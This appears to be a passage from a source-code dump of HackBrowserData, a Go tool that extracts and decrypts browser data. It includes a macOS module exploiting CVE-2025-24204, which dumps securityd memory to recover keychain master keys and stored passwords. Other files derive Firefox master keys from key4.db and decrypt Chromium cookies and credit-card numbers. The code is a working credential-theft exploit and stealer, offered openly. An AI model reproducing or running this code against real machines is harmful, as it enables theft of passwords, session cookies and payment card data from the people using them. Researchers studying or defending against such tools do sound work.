coccocName = "CocCoc"
yandexName = "Yandex"
firefoxName = "Firefox"
speed360Name = "360speed"
qqBrowserName = "QQ"
dcBrowserName = "DC"
sogouName = "Sogou"
arcName = "Arc"
)
================================================
FILE: browser/exploit/gcoredump/gcoredump.go
================================================
//go:build darwin
package gcoredump
// CVE-2025-24204
// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
// https://support.apple.com/en-us/122373
import (
"debug/macho"
"encoding/binary"
"errors"
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
"unsafe"
"golang.org/x/sys/unix"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/chainbreaker"
)
var (
homeDir, _ = os.UserHomeDir()
LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
)
func GetMacOSVersion() string {
v, err := unix.Sysctl("kern.osproductversion")
if err == nil {
return v
}
return ""
}
func FindProcessByName(name string, forceRoot bool) (int, error) {
buf, err := unix.SysctlRaw("kern.proc.all")
if err != nil {
return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
}
kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
if len(buf)%kinfoSize != 0 {
return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
}
count := len(buf) / kinfoSize
for i := 0; i < count; i++ {
proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
// P_comm is [16]byte on Darwin (in newer x/sys/unix versions)
pname := byteSliceToString(proc.Proc.P_comm[:])
if pname == name {
// Note: P_ppid is in Eproc on some versions, but usually in ExternProc.
// In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid.
// If P_ppid is missing, we can rely on P_ruid.
if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
return int(proc.Proc.P_pid), nil
}
}
}
return 0, fmt.Errorf("securityd process not found")
}
type addressRange struct {
start uint64
end uint64
}
func DecryptKeychain(storagename string) (string, error) {
if os.Geteuid() != 0 {
return "", errors.New("requires root privileges")
}
// find securityd PID
pid, err := FindProcessByName("securityd", true)
if err != nil {
return "", fmt.Errorf("failed to find securityd pid: %w", err)
}
corePath := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
defer os.Remove(corePath)
// dump securityd memory:
// gcore -d -s -v -o core_path PID
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePath, strconv.Itoa(pid))
if err := cmd.Run(); err != nil {
return "", fmt.Errorf("failed to dump securityd memory: %w", err)
}
// find MALLOC_SMALL regions
regions, err := findMallocSmallRegions(pid)
if err != nil {
return "", fmt.Errorf("failed to find malloc small regions: %w", err)
}
// open core dump
cmf, err := macho.Open(corePath)
if err != nil {
return "", fmt.Errorf("failed to open core dump: %w", err)
}
defer cmf.Close()
// scan regions
var candidates []string
seen := make(map[string]struct{})
for _, region := range regions {
// read region data
data, vaddr, err := getMallocSmallRegionData(cmf, region)
if err != nil {
// Region might not be in core dump or other error, skip
continue
}
// Search for pattern
// 0x18 (8 bytes) followed by pointer (8 bytes)
for i := 0; i < len(data)-16; i += 8 {
val := binary.LittleEndian.Uint64(data[i : i+8])
if val == 0x18 {
ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
if ptr >= region.start && ptr <= region.end {
offset := ptr - vaddr
if offset+0x18 <= uint64(len(data)) {
masterKey := make([]byte, 0x18)
copy(masterKey, data[offset:offset+0x18])
keyStr := fmt.Sprintf("%x", masterKey)
if _, found := seen[keyStr]; !found {
candidates = append(candidates, keyStr)
seen[keyStr] = struct{}{}
log.Debugf("Found master key candidate: %s @ 0x%x", keyStr, ptr)
}
}
}
}
}
}
// fuzz master key candidates
for _, candidate := range candidates {
kc, err := chainbreaker.New(LoginKeychainPath, candidate)
if err != nil {
log.Debugf("Failed to unlock keychain: %v", err)
continue
}
records, err := kc.DumpGenericPasswords()
if err != nil {
log.Debugf("Failed to unlock keychain: %v", err)
continue
}
for _, rec := range records {
if rec.Account == storagename {
// TODO decode base64 password
if rec.PasswordBase64 {
}
return rec.Password, nil
}
}
}
return "", nil
}
func findMallocSmallRegions(pid int) ([]addressRange, error) {
cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
output, err := cmd.Output()
if err != nil {
return nil, err
}
var regions []addressRange
lines := strings.Split(string(output), "\n")
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "MALLOC_SMALL") {
parts := strings.Fields(line)
if len(parts) < 2 {
continue
}
rangeStr := parts[1]
rangeParts := strings.Split(rangeStr, "-")
if len(rangeParts) != 2 {
continue
}
start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
if err != nil {
continue
}
end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
if err != nil {
continue
}
regions = append(regions, addressRange{start: start, end: end})
}
}
return regions, nil
}
func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
for _, seg := range f.Loads {
if s, ok := seg.(*macho.Segment); ok {
if s.Addr == region.start && s.Addr+s.Memsz == region.end {
data := make([]byte, s.Filesz)
_, err := s.ReadAt(data, 0)
if err != nil {
return nil, 0, err
}
return data, s.Addr, nil
}
}
}
return nil, 0, fmt.Errorf("region not found in core dump")
}
func byteSliceToString(s []byte) string {
for i, v := range s {
if v == 0 {
return string(s[:i])
}
}
return string(s)
}
================================================
FILE: browser/firefox/firefox.go
================================================
package firefox
import (
"bytes"
"database/sql"
"encoding/base64"
"errors"
"fmt"
"io/fs"
"os"
"path/filepath"
"github.com/tidwall/gjson"
_ "modernc.org/sqlite" // sqlite3 driver TODO: replace with chooseable driver
"github.com/moond4rk/hackbrowserdata/browserdata"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
type Firefox struct {
name string
storage string
profilePath string
masterKey []byte
items []types.DataType
itemPaths map[types.DataType]string
}
var ErrProfilePathNotFound = errors.New("profile path not found")
// New returns new Firefox instances.
func New(profilePath string, items []types.DataType) ([]*Firefox, error) {
multiItemPaths := make(map[string]map[types.DataType]string)
// ignore walk dir error since it can be produced by a single entry
_ = filepath.WalkDir(profilePath, firefoxWalkFunc(items, multiItemPaths))
firefoxList := make([]*Firefox, 0, len(multiItemPaths))
for name, itemPaths := range multiItemPaths {
firefoxList = append(firefoxList, &Firefox{
name: fmt.Sprintf("firefox-%s", name),
items: typeutil.Keys(itemPaths),
itemPaths: itemPaths,
})
}
return firefoxList, nil
}
func (f *Firefox) copyItemToLocal() error {
for i, path := range f.itemPaths {
filename := i.TempFilename()
if err := fileutil.CopyFile(path, filename); err != nil {
return err
}
}
return nil
}
func firefoxWalkFunc(items []types.DataType, multiItemPaths map[string]map[types.DataType]string) fs.WalkDirFunc {
return func(path string, info fs.DirEntry, err error) error {
if err != nil {
if os.IsPermission(err) {
log.Warnf("skipping walk firefox path %s permission error: %v", path, err)
return nil
}
return err
}
for _, v := range items {
if info.Name() == v.Filename() {
parentBaseDir := fileutil.ParentBaseDir(path)
if _, exist := multiItemPaths[parentBaseDir]; exist {
multiItemPaths[parentBaseDir][v] = path
} else {
multiItemPaths[parentBaseDir] = map[types.DataType]string{v: path}
}
}
}
return nil
}
}
// GetMasterKey returns master key of Firefox. from key4.db
func (f *Firefox) GetMasterKey() ([]byte, error) {
tempFilename := types.FirefoxKey4.TempFilename()
// Open and defer close of the database.
keyDB, err := sql.Open("sqlite", tempFilename)
if err != nil {
return nil, fmt.Errorf("open key4.db error: %w", err)
}
defer os.Remove(tempFilename)
defer keyDB.Close()
metaItem1, metaItem2, err := queryMetaData(keyDB)
if err != nil {
return nil, fmt.Errorf("query metadata error: %w", err)
}
candidates, err := queryNssPrivateCandidates(keyDB)
if err != nil {
return nil, fmt.Errorf("query NSS private error: %w", err)
}
loginCipherPairs, _ := getFirefoxLoginCipherPairs()
var (
fallbackKey []byte
lastErr error
)
for _, c := range candidates {
masterKey, err := processMasterKey(metaItem1, metaItem2, c.a11, c.a102)
if err != nil {
lastErr = err
continue
}
if fallbackKey == nil {
fallbackKey = masterKey
}
if len(loginCipherPairs) == 0 {
return masterKey, nil
}
if canDecryptAnyLoginCipherPair(masterKey, loginCipherPairs) {
return masterKey, nil
}
}
if fallbackKey != nil {
return fallbackKey, nil
}
if lastErr != nil {
return nil, lastErr
}
return nil, errors.New("no valid firefox master key found in nssPrivate")
}
func queryMetaData(db *sql.DB) ([]byte, []byte, error) {
const query = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
var metaItem1, metaItem2 []byte
if err := db.QueryRow(query).Scan(&metaItem1, &metaItem2); err != nil {
return nil, nil, err
}
return metaItem1, metaItem2, nil
}
type nssPrivateCandidate struct {
a11 []byte
a102 []byte
}
func queryNssPrivateCandidates(db *sql.DB) ([]nssPrivateCandidate, error) {
const query = `SELECT a11, a102 FROM nssPrivate`
rows, err := db.Query(query)
if err != nil {
return nil, err
}
defer rows.Close()
var candidates []nssPrivateCandidate
for rows.Next() {
var c nssPrivateCandidate
if err := rows.Scan(&c.a11, &c.a102); err != nil {
return nil, err
}
candidates = append(candidates, c)
}
if err := rows.Err(); err != nil {
return nil, err
}
if len(candidates) == 0 {
return nil, errors.New("nssPrivate is empty")
}
return candidates, nil
}
func queryNssPrivate(db *sql.DB) ([]byte, []byte, error) {
// Keep this helper for backward compatibility in tests.
candidates, err := queryNssPrivateCandidates(db)
if err != nil {
return nil, nil, err
}
return candidates[0].a11, candidates[0].a102, nil
}
type loginCipherPair struct {
username []byte
password []byte
}
func getFirefoxLoginCipherPairs() ([]loginCipherPair, error) {
raw, err := os.ReadFile(types.FirefoxPassword.TempFilename())
if err != nil {
return nil, err
}
arr := gjson.GetBytes(raw, "logins").Array()
pairs := make([]loginCipherPair, 0, len(arr))
for _, v := range arr {
uEnc := v.Get("encryptedUsername").String()
pEnc := v.Get("encryptedPassword").String()
if uEnc == "" || pEnc == "" {
continue
}
uRaw, err := base64.StdEncoding.DecodeString(uEnc)
if err != nil {
continue
}
pRaw, err := base64.StdEncoding.DecodeString(pEnc)
if err != nil {
continue
}
pairs = append(pairs, loginCipherPair{username: uRaw, password: pRaw})
if len(pairs) >= 5 {
break
}
}
return pairs, nil
}
func canDecryptAnyLoginCipherPair(masterKey []byte, pairs []loginCipherPair) bool {
for _, pair := range pairs {
uPBE, err := crypto.NewASN1PBE(pair.username)
if err != nil {
continue
}
if _, err := uPBE.Decrypt(masterKey); err != nil {
continue
}
pPBE, err := crypto.NewASN1PBE(pair.password)
if err != nil {
continue
}
if _, err := pPBE.Decrypt(masterKey); err == nil {
return true
}
}
return false
}
// processMasterKey process master key of Firefox.
// Process the metaBytes and nssA11 with the corresponding cryptographic operations.
func processMasterKey(metaItem1, metaItem2, nssA11, nssA102 []byte) ([]byte, error) {
metaPBE, err := crypto.NewASN1PBE(metaItem2)
if err != nil {
return nil, fmt.Errorf("error creating ASN1PBE from metaItem2: %w", err)
}
flag, err := metaPBE.Decrypt(metaItem1)
if err != nil {
return nil, fmt.Errorf("error decrypting master key: %w", err)
}
const passwordCheck = "password-check"
if !bytes.Contains(flag, []byte(passwordCheck)) {
return nil, errors.New("flag verification failed: password-check not found")
}
keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
if !bytes.Equal(nssA102, keyLin) {
return nil, errors.New("master key verification failed: nssA102 not equal to expected value")
}
nssA11PBE, err := crypto.NewASN1PBE(nssA11)
if err != nil {
return nil, fmt.Errorf("error creating ASN1PBE from nssA11: %w", err)
}
finallyKey, err := nssA11PBE.Decrypt(metaItem1)
if err != nil {
return nil, fmt.Errorf("error decrypting final key: %w", err)
}
if len(finallyKey) < 24 {
return nil, errors.New("length of final key is less than 24 bytes")
}
// Historically, the derived PBE key was truncated to 24 bytes for 3DES usage.
// Starting from Firefox 144+, NSS switches to AES-256-CBC without changing
// the underlying key derivation logic. The full derived key must be preserved
// to support modern cipher suites.
return finallyKey, nil
}
func (f *Firefox) Name() string {
return f.name
}
func (f *Firefox) BrowsingData(isFullExport bool) (*browserdata.BrowserData, error) {
dataTypes := f.items
if !isFullExport {
dataTypes = types.FilterSensitiveItems(f.items)
}
data := browserdata.New(dataTypes)
if err := f.copyItemToLocal(); err != nil {
return nil, err
}
masterKey, err := f.GetMasterKey()
if err != nil {
return nil, err
}
f.masterKey = masterKey
if err := data.Recovery(f.masterKey); err != nil {
return nil, err
}
return data, nil
}
================================================
FILE: browser/firefox/firefox_test.go
================================================
package firefox
import (
"testing"
"github.com/DATA-DOG/go-sqlmock"
"github.com/stretchr/testify/assert"
)
func TestQueryMetaData(t *testing.T) {
db, mock, err := sqlmock.New()
assert.NoError(t, err)
defer db.Close()
rows := sqlmock.NewRows([]string{"item1", "item2"}).
AddRow([]byte("globalSalt"), []byte("metaBytes"))
mock.ExpectQuery("SELECT item1, item2 FROM metaData WHERE id = 'password'").WillReturnRows(rows)
globalSalt, metaBytes, err := queryMetaData(db)
assert.NoError(t, err)
assert.Equal(t, []byte("globalSalt"), globalSalt)
assert.Equal(t, []byte("metaBytes"), metaBytes)
}
func TestQueryNssPrivate(t *testing.T) {
db, mock, err := sqlmock.New()
assert.NoError(t, err)
defer db.Close()
rows := sqlmock.NewRows([]string{"a11", "a102"}).
AddRow([]byte("nssA11"), []byte("nssA102"))
mock.ExpectQuery("SELECT a11, a102 FROM nssPrivate").WillReturnRows(rows)
nssA11, nssA102, err := queryNssPrivate(db)
assert.NoError(t, err)
assert.Equal(t, []byte("nssA11"), nssA11)
assert.Equal(t, []byte("nssA102"), nssA102)
}
================================================
FILE: browserdata/bookmark/bookmark.go
================================================
package bookmark
import (
"database/sql"
"os"
"sort"
"time"
"github.com/tidwall/gjson"
_ "modernc.org/sqlite" // import sqlite3 driver
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumBookmark, func() extractor.Extractor {
return new(ChromiumBookmark)
})
extractor.RegisterExtractor(types.FirefoxBookmark, func() extractor.Extractor {
return new(FirefoxBookmark)
})
}
type ChromiumBookmark []bookmark
type bookmark struct {
ID int64
Name string
Type string
URL string
DateAdded time.Time
}
func (c *ChromiumBookmark) Extract(_ []byte) error {
bookmarks, err := fileutil.ReadFile(types.ChromiumBookmark.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumBookmark.TempFilename())
r := gjson.Parse(bookmarks)
if r.Exists() {
roots := r.Get("roots")
roots.ForEach(func(key, value gjson.Result) bool {
getBookmarkChildren(value, c)
return true
})
}
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].DateAdded.After((*c)[j].DateAdded)
})
return nil
}
const (
bookmarkID = "id"
bookmarkAdded = "date_added"
bookmarkURL = "url"
bookmarkName = "name"
bookmarkType = "type"
bookmarkChildren = "children"
)
func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjson.Result) {
nodeType := value.Get(bookmarkType)
children = value.Get(bookmarkChildren)
bm := bookmark{
ID: value.Get(bookmarkID).Int(),
Name: value.Get(bookmarkName).String(),
URL: value.Get(bookmarkURL).String(),
DateAdded: typeutil.TimeEpoch(value.Get(bookmarkAdded).Int()),
}
if nodeType.Exists() {
bm.Type = nodeType.String()
*w = append(*w, bm)
if children.Exists() && children.IsArray() {
for _, v := range children.Array() {
children = getBookmarkChildren(v, w)
}
}
}
return children
}
func (c *ChromiumBookmark) Name() string {
return "bookmark"
}
func (c *ChromiumBookmark) Len() int {
return len(*c)
}
type FirefoxBookmark []bookmark
const (
queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)`
closeJournalMode = `PRAGMA journal_mode=off`
)
func (f *FirefoxBookmark) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxBookmark.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxBookmark.TempFilename())
defer db.Close()
_, err = db.Exec(closeJournalMode)
if err != nil {
log.Debugf("close journal mode error: %v", err)
}
rows, err := db.Query(queryFirefoxBookMark)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
id, bt, dateAdded int64
url string
title sql.NullString
)
if err = rows.Scan(&id, &url, &bt, &dateAdded, &title); err != nil {
log.Debugf("scan bookmark error: %v", err)
}
*f = append(*f, bookmark{
ID: id,
Name: title.String,
Type: linkType(bt),
URL: url,
DateAdded: typeutil.TimeStamp(dateAdded / 1000000),
})
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].DateAdded.After((*f)[j].DateAdded)
})
return nil
}
func (f *FirefoxBookmark) Name() string {
return "bookmark"
}
func (f *FirefoxBookmark) Len() int {
return len(*f)
}
func linkType(a int64) string {
switch a {
case 1:
return "url"
default:
return "folder"
}
}
================================================
FILE: browserdata/browserdata.go
================================================
package browserdata
import (
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
type BrowserData struct {
extractors map[types.DataType]extractor.Extractor
}
func New(items []types.DataType) *BrowserData {
bd := &BrowserData{
extractors: make(map[types.DataType]extractor.Extractor),
}
bd.addExtractors(items)
return bd
}
func (d *BrowserData) Recovery(masterKey []byte) error {
for _, source := range d.extractors {
if err := source.Extract(masterKey); err != nil {
log.Debugf("parse %s error: %v", source.Name(), err)
continue
}
}
return nil
}
func (d *BrowserData) Output(dir, browserName, flag string) {
output := newOutPutter(flag)
for _, source := range d.extractors {
if source.Len() == 0 {
// if the length of the export data is 0, then it is not necessary to output
continue
}
filename := fileutil.Filename(browserName, source.Name(), output.Ext())
f, err := output.CreateFile(dir, filename)
if err != nil {
log.Debugf("create file %s error: %v", filename, err)
continue
}
if err := output.Write(source, f); err != nil {
log.Debugf("write to file %s error: %v", filename, err)
continue
}
if err := f.Close(); err != nil {
log.Debugf("close file %s error: %v", filename, err)
continue
}
log.Warnf("export success: %s", filename)
}
}
func (d *BrowserData) addExtractors(items []types.DataType) {
for _, itemType := range items {
if source := extractor.CreateExtractor(itemType); source != nil {
d.extractors[itemType] = source
} else {
log.Debugf("source not found: %s", itemType)
}
}
}
================================================
FILE: browserdata/cookie/cookie.go
================================================
package cookie
import (
"database/sql"
"os"
"sort"
"time"
// import sqlite3 driver
_ "modernc.org/sqlite"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumCookie, func() extractor.Extractor {
return new(ChromiumCookie)
})
extractor.RegisterExtractor(types.FirefoxCookie, func() extractor.Extractor {
return new(FirefoxCookie)
})
}
type ChromiumCookie []cookie
type cookie struct {
Host string
Path string
KeyName string
encryptValue []byte
Value string
IsSecure bool
IsHTTPOnly bool
HasExpire bool
IsPersistent bool
CreateDate time.Time
ExpireDate time.Time
}
const (
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
)
func (c *ChromiumCookie) Extract(masterKey []byte) error {
db, err := sql.Open("sqlite", types.ChromiumCookie.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumCookie.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumCookie)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
key, host, path string
isSecure, isHTTPOnly, hasExpire, isPersistent int
createDate, expireDate int64
value, encryptValue []byte
)
if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil {
log.Debugf("scan chromium cookie error: %v", err)
}
cookie := cookie{
KeyName: key,
Host: host,
Path: path,
encryptValue: encryptValue,
IsSecure: typeutil.IntToBool(isSecure),
IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
HasExpire: typeutil.IntToBool(hasExpire),
IsPersistent: typeutil.IntToBool(isPersistent),
CreateDate: typeutil.TimeEpoch(createDate),
ExpireDate: typeutil.TimeEpoch(expireDate),
}
if len(encryptValue) > 0 {
value, err = crypto.DecryptWithDPAPI(encryptValue)
if err != nil {
value, err = crypto.DecryptWithChromium(masterKey, encryptValue)
if err != nil {
log.Debugf("decrypt chromium cookie error: %v", err)
} else if len(value) > 32 {
// https://gist.github.com/kosh04/36cf6023fb75b516451ce933b9db2207?permalink_comment_id=5291243#gistcomment-5291243
value = value[32:]
}
}
}
cookie.Value = string(value)
*c = append(*c, cookie)
}
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].CreateDate.After((*c)[j].CreateDate)
})
return nil
}
func (c *ChromiumCookie) Name() string {
return "cookie"
}
func (c *ChromiumCookie) Len() int {
return len(*c)
}
type FirefoxCookie []cookie
const (
queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
)
func (f *FirefoxCookie) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxCookie.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxCookie.TempFilename())
defer db.Close()
rows, err := db.Query(queryFirefoxCookie)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
name, value, host, path string
isSecure, isHTTPOnly int
creationTime, expiry int64
)
if err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHTTPOnly); err != nil {
log.Debugf("scan firefox cookie error: %v", err)
}
*f = append(*f, cookie{
KeyName: name,
Host: host,
Path: path,
IsSecure: typeutil.IntToBool(isSecure),
IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
CreateDate: typeutil.TimeStamp(creationTime / 1000000),
ExpireDate: typeutil.TimeStamp(expiry),
Value: value,
})
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].CreateDate.After((*f)[j].CreateDate)
})
return nil
}
func (f *FirefoxCookie) Name() string {
return "cookie"
}
func (f *FirefoxCookie) Len() int {
return len(*f)
}
================================================
FILE: browserdata/creditcard/creditcard.go
================================================
package creditcard
import (
"database/sql"
"os"
// import sqlite3 driver
_ "modernc.org/sqlite"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
)
func init() {
extractor.RegisterExtractor(types.ChromiumCreditCard, func() extractor.Extractor {
return new(ChromiumCreditCard)
})
extractor.RegisterExtractor(types.YandexCreditCard, func() extractor.Extractor {
return new(YandexCreditCard)
})
}
type ChromiumCreditCard []card
type card struct {
GUID string
Name string
ExpirationYear string
ExpirationMonth string
CardNumber string
Address string
NickName string
}
const (
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id, nickname FROM credit_cards`
)
func (c *ChromiumCreditCard) Extract(masterKey []byte) error {
db, err := sql.Open("sqlite", types.ChromiumCreditCard.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumCreditCard.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumCredit)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
name, month, year, guid, address, nickname string
value, encryptValue []byte
)
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {
log.Debugf("scan chromium credit card error: %v", err)
}
ccInfo := card{
GUID: guid,
Name: name,
ExpirationMonth: month,
ExpirationYear: year,
Address: address,
NickName: nickname,
}
if len(encryptValue) > 0 {
if len(masterKey) == 0 {
value, err = crypto.DecryptWithDPAPI(encryptValue)
} else {
value, err = crypto.DecryptWithChromium(masterKey, encryptValue)
}
if err != nil {
log.Debugf("decrypt chromium credit card error: %v", err)
}
}
ccInfo.CardNumber = string(value)
*c = append(*c, ccInfo)
}
return nil
}
func (c *ChromiumCreditCard) Name() string {
return "creditcard"
}
func (c *ChromiumCreditCard) Len() int {
return len(*c)
}
type YandexCreditCard []card
func (c *YandexCreditCard) Extract(masterKey []byte) error {
db, err := sql.Open("sqlite", types.YandexCreditCard.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.YandexCreditCard.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumCredit)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
name, month, year, guid, address, nickname string
value, encryptValue []byte
)
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {
log.Debugf("scan chromium credit card error: %v", err)
}
ccInfo := card{
GUID: guid,
Name: name,
ExpirationMonth: month,
ExpirationYear: year,
Address: address,
NickName: nickname,
}
if len(encryptValue) > 0 {
if len(masterKey) == 0 {
value, err = crypto.DecryptWithDPAPI(encryptValue)
} else {
value, err = crypto.DecryptWithChromium(masterKey, encryptValue)
}
if err != nil {
log.Debugf("decrypt chromium credit card error: %v", err)
}
}
ccInfo.CardNumber = string(value)
*c = append(*c, ccInfo)
}
return nil
}
func (c *YandexCreditCard) Name() string {
return "creditcard"
}
func (c *YandexCreditCard) Len() int {
return len(*c)
}
================================================
FILE: browserdata/download/download.go
================================================
package download
import (
"database/sql"
"os"
"sort"
"strings"
"time"
"github.com/tidwall/gjson"
_ "modernc.org/sqlite" // import sqlite3 driver
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumDownload, func() extractor.Extractor {
return new(ChromiumDownload)
})
extractor.RegisterExtractor(types.FirefoxDownload, func() extractor.Extractor {
return new(FirefoxDownload)
})
}
type ChromiumDownload []download
type download struct {
TargetPath string
URL string
TotalBytes int64
StartTime time.Time
EndTime time.Time
MimeType string
}
const (
queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
)
func (c *ChromiumDownload) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.ChromiumDownload.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumDownload.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumDownload)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
targetPath, tabURL, mimeType string
totalBytes, startTime, endTime int64
)
if err := rows.Scan(&targetPath, &tabURL, &totalBytes, &startTime, &endTime, &mimeType); err != nil {
log.Warnf("scan chromium download error: %v", err)
}
data := download{
TargetPath: targetPath,
URL: tabURL,
TotalBytes: totalBytes,
StartTime: typeutil.TimeEpoch(startTime),
EndTime: typeutil.TimeEpoch(endTime),
MimeType: mimeType,
}
*c = append(*c, data)
}
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].TotalBytes > (*c)[j].TotalBytes
})
return nil
}
func (c *ChromiumDownload) Name() string {
return "download"
}
func (c *ChromiumDownload) Len() int {
return len(*c)
}
type FirefoxDownload []download
const (
queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id`
closeJournalMode = `PRAGMA journal_mode=off`
)
func (f *FirefoxDownload) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxDownload.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxDownload.TempFilename())
defer db.Close()
_, err = db.Exec(closeJournalMode)
if err != nil {
log.Debugf("close journal mode error: %v", err)
}
rows, err := db.Query(queryFirefoxDownload)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
content, url string
placeID, dateAdded int64
)
if err = rows.Scan(&placeID, &content, &url, &dateAdded); err != nil {
log.Warnf("scan firefox download error: %v", err)
}
contentList := strings.Split(content, ",{")
if len(contentList) > 1 {
path := contentList[0]
json := "{" + contentList[1]
endTime := gjson.Get(json, "endTime")
fileSize := gjson.Get(json, "fileSize")
*f = append(*f, download{
TargetPath: path,
URL: url,
TotalBytes: fileSize.Int(),
StartTime: typeutil.TimeStamp(dateAdded / 1000000),
EndTime: typeutil.TimeStamp(endTime.Int() / 1000),
})
}
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].TotalBytes < (*f)[j].TotalBytes
})
return nil
}
func (f *FirefoxDownload) Name() string {
return "download"
}
func (f *FirefoxDownload) Len() int {
return len(*f)
}
================================================
FILE: browserdata/extension/extension.go
================================================
package extension
import (
"fmt"
"os"
"strings"
"github.com/tidwall/gjson"
"golang.org/x/text/language"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumExtension, func() extractor.Extractor {
return new(ChromiumExtension)
})
extractor.RegisterExtractor(types.FirefoxExtension, func() extractor.Extractor {
return new(FirefoxExtension)
})
}
type ChromiumExtension []*extension
type extension struct {
ID string
URL string
Enabled bool
Name string
Description string
Version string
HomepageURL string
}
func (c *ChromiumExtension) Extract(_ []byte) error {
extensionFile, err := fileutil.ReadFile(types.ChromiumExtension.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumExtension.TempFilename())
